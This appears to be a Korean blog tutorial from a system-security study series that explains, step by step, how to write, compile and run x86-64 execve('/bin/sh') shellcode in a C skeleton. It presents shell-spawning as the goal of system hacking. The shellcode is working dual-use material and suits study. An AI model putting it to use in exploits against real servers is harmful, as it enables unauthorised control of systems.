목적
execve 셸코드를 이용하면 임의의 프로그램을 실행할 수 있는데요,
만약 그것이 셸 프로그램이라면, 서버의 셸을 획득한 것이므로, 서버의 시스템을 제어함으로써 시스템 해킹을 성공한 것이 됩니다.
※ 셸(Shell): 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스
방법
1. execve 셸코드 작성
linux의 다양한 셸 프로그램 중 기본인 /bin/sh를 실행하는 execve 셸코드를 작성해보겠습니다.
execve 셸코드는
스켈레톤 코드 (C언어로 작성됨) + 셸코드 (어셈블리)
의 구조입니다.
스켈레톤 코드
__asm__(
".global run_sh\n" // C에서 run_sh에 접근 가능하도록 global로 설정
"run_sh:\n"
// 아래 어셈블리 코드는 예시이며, 각 line은 \n으로 구분되어야 함
"xor rdi, rdi\n"
"mov rax, 0x3c\n"
"syscall");
void run_sh();
int main() { run_sh(); }
셸코드
execve("/bin/sh", null, null)를 위한 어셈블리
① 0x68732f6e69622f(= "/bin/sh\x00")를 stack에 push.
mov rax, 0x68732f6e69622f
push rax
② rax, arg0 (rdi), arg1 (rsi), arg2 (rdx) 설정
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
③ 최종적으로 syscall
syscall ; execve("/bin/sh", null, null)
합쳐서 완성된 execve 셸코드
execve.c
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
2. execve 셸코드 컴파일 및 실행
컴파일
gcc -o execve execve.c -masm=intel
실행
./execve
결과
결과로 sh가 실행되고, 원하는 명령어를 수행할 수 있게 됩니다.
'IT > 시스템 보안' 카테고리의 다른 글
[Stack Buffer Overflow] Return Address Overwrite을 통한 실행 흐름 조작 (0) | 2024.03.01 |
---|---|
[Stack Buffer Overflow] 데이터 변조와 유출 (0) | 2024.02.29 |
[Shellcode] objdump을 이용한 byte code 추출 (0) | 2024.02.28 |
[Shellcode] orw: open-read-write (0) | 2024.02.27 |
[Stack Frame] 프로시저 호출 시의 스택 프레임 살펴보기 (0) | 2024.02.20 |